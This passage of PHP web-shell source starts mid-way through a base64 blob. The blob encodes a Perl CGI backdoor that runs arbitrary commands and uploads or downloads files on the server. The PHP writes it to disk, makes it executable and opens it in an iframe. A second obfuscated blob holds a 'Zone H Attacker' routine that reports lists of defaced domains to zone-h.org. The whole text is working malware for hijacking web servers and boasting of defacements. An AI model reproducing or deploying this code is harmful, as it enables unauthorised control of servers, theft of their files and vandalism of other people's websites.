0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW3IwMHRcQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgokUHJvbXB0IHVwbG9hZDxicj48YnI+CkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+Ck92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8YnI+PGJyPgpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9InVwbG9hZCI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcwojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQ29tbWFuZFRpbWVvdXQKewoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCQlwcmludCA8PEVORDsKPC94bXA+Cjxjb2RlPgpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuCjxicj5LaWxsZWQgaXQhCjxjb2RlPgpFTkQKCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJCWV4aXQ7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5CiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbgojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUKIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2VycwojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFeGVjdXRlQ29tbWFuZAp7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsKCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRPbGREaXI+ICIgOiAiW3IwMHRcQCRTZXJ2ZXJOYW1lICRPbGREaXJdXCQgIjsKCQlwcmludCAiPGNvZGU+JFByb21wdCAkUnVuQ29tbWFuZDwvY29kZT4iOwoJfQoJZWxzZSAjIHNvbWUgb3RoZXIgY29tbWFuZCwgZGlzcGxheSB0aGUgb3V0cHV0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW3IwMHRcQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFuZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1wPiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lgo8L2NvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVVcGxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCglwcmludCAiPGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJcHJpbnQgIjwvY29kZT4iOwoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKCiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAkaW57J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0=';
$file = fopen("cgi.pr" ,"w+");
$write = fwrite ($file ,base64_decode($cgico));
fclose($file);
chmod("cgi.pr",0755);
yemenhead();
echo '<iframe src="cgirun/cgi.pr" style="height:500px; width:1000px; border:0px;" name="config">';
}
function yemenzone()
{
yemenhead();
$zone1 = 'PD9waHANCmZ1bmN0aW9uIFpvbmVIKCR1cmwsICRoYWNrZXIsICRoYWNrbW9kZSwkcmVzb24sICRzaXRlICkNCnsNCgkkayA9IGN1cmxfaW5pdCgpOw0KCWN1cmxfc2V0b3B0KCRrLCBDVVJMT1BUX1VSTCwgJHVybCk7DQoJY3VybF9zZXRvcHQoJGssQ1VSTE9QVF9QT1NULHRydWUpOw0KCWN1cmxfc2V0b3B0KCRrLCBDVVJMT1BUX1BPU1RGSUVMRFMsImRlZmFjZXI9Ii4kaGFja2VyLiImZG9tYWluMT0iLiAkc2l0ZS4iJmhhY2ttb2RlPSIuJGhhY2ttb2RlLiImcmVhc29uPSIuJHJlc29uKTsNCgljdXJsX3NldG9wdCgkayxDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCB0cnVlKTsNCgljdXJsX3NldG9wdCgkaywgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgdHJ1ZSk7DQoJJGt1YnJhID0gY3VybF9leGVjKCRrKTsNCgljdXJsX2Nsb3NlKCRrKTsNCglyZXR1cm4gJGt1YnJhOw0KfQ0KICAgICAgICAgICAgICAgICAgICAgICAgIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KCQkJIyAgIFpvbmUgSCBBdHRhY2tlcg0KCQkJIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KCQkJIGlmKCRfUE9TVFsnU2VuZE5vd1RvWm9uZUgnXSkNCgkJCXsNCgkJCSRjb25uZWN0X3RpbWVvdXQ9NTsNCgkJCQlzZXRfdGltZV9saW1pdCgwKTsNCgkJCW9iX3N0YXJ0KCk7DQoJCQkJJHN1YiA9IEBnZXRfbG9hZGVkX2V4dGVuc2lvbnMoKTsNCgkJCQlpZighaW5fYXJyYXkoImN1cmwiLCAkc3ViKSkNCgkJCQl7DQoJCQkJCWRpZSgnWy1dIEN1cmwgSXMgTm90IFN1cHBvcnRlZCAhISAnKTsNCgkJCQl9DQoJCQkJJGhhY2tlciA9ICRfUE9TVFsnZGVmYWNlciddOw0KCQkJCSRtZXRob2QgPSAkX1BPU1RbJ2hhY2ttb2RlJ107DQoJCQkJJG5lZGVuID0gJF9QT1NUWydyZWFzb24nXTsNCgkJCQkkc2l0ZSA9ICRfUE9TVFsnZG9tYWluJ107DQoJCQkJDQoJCQkJaWYgKGVtcHR5KCRoYWNrZXIpKQ0KCQkJCXsNCgkJCQkJZGllICgiWy1dIFlvdSBNdXN0IEZpbGwgdGhlIEF0dGFja2VyIG5hbWUgISIpOw0KCQkJCX0NCgkJCQllbHNlaWYoJG1ldGhvZCA9PSAiLS0tLS0tLS1TRUxFQ1QtLS0tLS0tLSIpIA0KCQkJCXsNCgkJCQkJZGllKCJbLV0gWW91IE11c3QgU2VsZWN0IFRoZSBNZXRob2QgISIpOw0KCQkJCX0NCgkJCQllbHNlaWYoJG5lZGVuID09ICItLS0tLS0tLVNFTEVDVC0tLS0tLS0tIikgDQoJCQkJew0KCQkJCQlkaWUoIlstXSBZb3UgTXVzdCBTZWxlY3QgVGhlIFJlYXNvbiIpOw0KCQkJCX0NCgkJCQllbHNlaWYoZW1wdHkoJHNpdGUpKSANCgkJCQl7DQoJCQkJCWRpZSgiWy1dIFlvdSBNdXN0IEludGVyIHRoZSBTaXRlcyBMaXN0ICEgIik7DQoJCQkJfQ0KCQkJCSRpID0gMDsNCgkJCQkkc2l0ZXMgPSBleHBsb2RlKCJcbiIsICRzaXRlKTsNCgkJCQl3aGlsZSgkaSA8IGNvdW50KCRzaXRlcykpIA0KCQkJCXsNCgkJCQkJaWYoc3Vic3RyKCRzaXRlc1skaV0sIDAsIDQpICE9ICJodHRwIikgDQoJCQkJCXsNCgkJCQkJCSRzaXRlc1skaV0gPSAiaHR0cDovLyIuJHNpdGVzWyRpXTsNCgkJCQkJfQ0KCQkJCQlab25lSCgiaHR0cDovL3pvbmUtaC5vcmcvbm90aWZ5L3NpbmdsZSIsICRoYWNr